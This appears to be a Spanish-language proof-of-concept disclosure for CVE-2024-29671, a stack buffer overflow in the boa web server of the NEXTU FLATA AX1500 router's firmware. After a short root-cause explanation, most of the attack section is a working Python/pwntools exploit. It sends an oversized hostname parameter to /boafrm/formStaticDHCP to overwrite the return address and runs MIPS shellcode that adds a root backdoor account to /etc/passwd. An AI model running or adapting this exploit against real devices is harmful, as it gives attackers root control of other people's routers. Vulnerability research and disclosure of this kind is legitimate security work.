
Este es el POC de CVE-2024-29671
Este documento describe cómo se explotó la vulnerabilidad CVE-2024-29671 en el firmware del router NEXTU FLATA AX1500.
Este router está basado en la arquitectura MIPS y utiliza el chipset Realtek con Little-Endian.
La versión del firmware del router objetivo es v1.0.2.
Este firmware incluye un servidor web integrado llamado "boa", cuya última versión se publicó en 2005.
Sin embargo, este router utiliza el servidor web boa para proporcionar un servicio de página web de administración que controla el firmware del router.
El estado de seguridad del binario "boa" es el siguiente.
Fig 1. Resultado de checksec del binario del servidor web boa
La causa del desbordamiento de pila es que no se realizó la comprobación del valor de longitud al copiar el contenido del parámetro hostname usando strcpy() en la función 0x00411c00 formStaticDHCP. Cuando el manejador de solicitudes procesa las solicitudes de formulario en el servidor web boa.
Fig 2. Ubicación donde ocurre el desbordamiento de pila
Fig 3. Vista de la memoria de pila antes de que ocurra el desbordamiento de pila.
(La línea blanca es la zona de la dirección RET)

Fig 4. Vista de la memoria de pila después de que ocurra el desbordamiento de pila.
Como se puede ver en la dirección de pila 0x7ffef7dc, que almacena la dirección RET del manejador, los datos se desbordan con 0x42('B').
Si un atacante inserta un código de ejecución remota y añade la dirección de sobrescritura en la zona RET al valor del parámetro 'hostname' de la solicitud POST /boafrm/formStaticDHCP, el código arbitrario debe ejecutarse como root.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
Esta vulnerabilidad debe provocar problemas de RCE y DOS.
2024-03-17: Solicitud de número CVE
2024-03-22: Número CVE asignado - CVE-2024-29671
2024-03~ 2024-05: El informe se entregó a la empresa
Ku In Hoe
Profesor Asistente Seonghoon Jeong (Sookmyung Women’s University)